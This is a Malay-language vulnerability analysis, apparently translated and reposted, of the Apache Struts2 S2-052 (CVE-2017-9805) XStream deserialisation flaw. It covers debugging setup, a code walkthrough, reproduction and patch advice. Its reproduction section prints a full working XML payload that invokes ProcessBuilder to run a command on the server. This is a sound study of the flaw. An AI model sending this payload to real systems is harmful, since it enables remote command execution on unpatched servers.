Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Analisis contoh kerentanan Struts2-052

Analisis contoh kerentanan Struts2-052

王林
王林ke hadapan
2023-05-13 11:25:061339semak imbas

Kata Pengantar

Pada 5 September 2017, kelemahan serius yang ditemui oleh penyelidik keselamatan dari organisasi penyelidikan keselamatan asing lgtm.com telah dikeluarkan secara rasmi dalam Apache Struts 2. Nombor kerentanan ialah CVE-2017-9805 ( S2 -052), penyerang boleh memasukkan data xml yang dibina dengan teliti dan melaksanakan arahan jauh.
Komponen XStream bagi pemalam Struts2 REST mempunyai kerentanan penyahserikan Apabila menggunakan komponen XStream untuk menyahsiri paket data dalam format XML, kandungan data tidak disahkan secara berkesan, yang menimbulkan risiko keselamatan dan boleh dilaksanakan oleh alat kawalan jauh. arahan.
Syarat untuk Eksploitasi: Menggunakan pemalam REST dan dalam julat versi yang terjejas.
Kaedah eksploitasi: Penyerang membina paket data berniat jahat untuk eksploitasi jauh.
Versi yang terjejas: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

Penyahpepijatan persediaan persekitaran

1) Muat turun kod sumber rasmi:
git klon https ://github.com/apache/Struts.git
2) Tukar ke cawangan 2.5.12:
git checkout STRUTS_2_5_12
3) Salin keseluruhan folder src/apps/rest-showcase dalam pakej sumber Keluar dan buat projek baharu
4) Gunakan IDEA atau eclipse untuk mengimport projek maven
5) Selepas berjalan dalam mod nyahpepijat, anda boleh nyahpepijat dengan gembira
Analisis contoh kerentanan Struts2-052

Analisis prinsip kerentanan

Menurut pengumuman rasmi, kerentanan muncul dalam kelas XstreamHandler, yang terletak dalam pakej struts2-rest-plugin-2.5.12.jar.
Jadi lihat kelas ini, terdapat kaedah toObject dalam kelas ini, fungsinya adalah untuk menyahsiri kandungan xml.
Analisis contoh kerentanan Struts2-052
Mula-mula tetapkan titik putus dalam kaedah ini, dan kemudian bina paket data
Analisis contoh kerentanan Struts2-052
Selepas menghantar paket data, ia akan melompat ke titik putus Pada masa ini, anda akan melihat Dalam timbunan panggilan atas, ContentTypeInterceptor memanggil kaedah ini
Analisis contoh kerentanan Struts2-052
Kaedah pintasan dalam kelas ContentTypeInterceptor akan menjana objek yang sepadan berdasarkan nilai Content-Type yang dihantar masuk. Memandangkan kita sedang meneruskan application/xml, jadi Sejajar menjana objek pemprosesan xml XStreamHandler.
Teruskan ke f5 dan lihat fungsi unmarshal yang melakukan penyahserikatan Tiada semakan keselamatan data apabila fungsi ini dilaksanakan, mengakibatkan pelaksanaan perintah jauh.
Analisis contoh kerentanan Struts2-052
Kemudian masukkan fungsi unmarshal dan teruskan penyahpepijatan AbstractReflectionConverter akan menghuraikan tag dan nilai xml yang kami serahkan langkah demi langkah, dan akhirnya memanggil kod dalam poc
Analisis contoh kerentanan Struts2-052

Pengeluaran semula kerentanan

Klik Serah pada halaman http://localhost:8080//struts2-rest-showcase/orders/3/edit,


Analisis contoh kerentanan Struts2-052Pintas permintaan HTTP dan hantar permintaan Tukar badan kepada POC Payload, dan tukar Pengepala Jenis Kandungan kepada aplikasi/xml.
Muatan muatan ialah:

<map> 
  <entry> 
    <jdk.nashorn.internal.objects.nativestring> 
      <flags>0</flags>  
      <value> 
        <datahandler> 
          <datasource> 
            <is> 
              <cipher> 
                <initialized>false</initialized>  
                <opmode>0</opmode>  
                <serviceiterator> 
                  <iter> 
                    <iter></iter>  
                    <next> 
                      <command> 
                        <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> 
                      </command>  
                      <redirecterrorstream>false</redirecterrorstream> 
                    </next> 
                  </iter>  
                  <filter> 
                    <method> 
                      <class>java.lang.ProcessBuilder</class>  
                      <name>start</name>  
                      <parameter-types></parameter-types> 
                    </method>  
                    <name>foo</name> 
                  </filter>  
                  <next>foo</next> 
                </serviceiterator>  
                <lock></lock> 
              </cipher>  
              <input>  
              <ibuffer></ibuffer>  
              <done>false</done>  
              <ostart>0</ostart>  
              <ofinish>0</ofinish>  
              <closed>false</closed> 
            </is>  
            <consumed>false</consumed> 
          </datasource>  
          <transferflavors></transferflavors> 
        </datahandler>  
        <datalen>0</datalen> 
      </value> 
    </jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry>  
  <entry> 
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring>  
    <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> 
  </entry> 
</map>
Selepas menghantar permintaan, kalkulator muncul


Analisis contoh kerentanan Struts2-052

Tampalan

Tampalan rasmi, pelan pembaikan rasmi, terutamanya Senarai Putih data dalam xml, letakkan Koleksi dan Peta, beberapa kelas asas dan kelas masa dalam senarai putih, untuk mengelakkan XStream daripada membawa masuk beberapa kelas berbahaya semasa penyahserikatan

Analisis contoh kerentanan Struts2-052

Cadangan pembaikan

Versi 2.3.0 hingga 2.3.33 dinaik taraf kepada versi Struts 2.3.34

Versi 2.5.0 hingga 2.5.12 dinaik taraf kepada versi Struts 2.5.13

Atas ialah kandungan terperinci Analisis contoh kerentanan Struts2-052. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam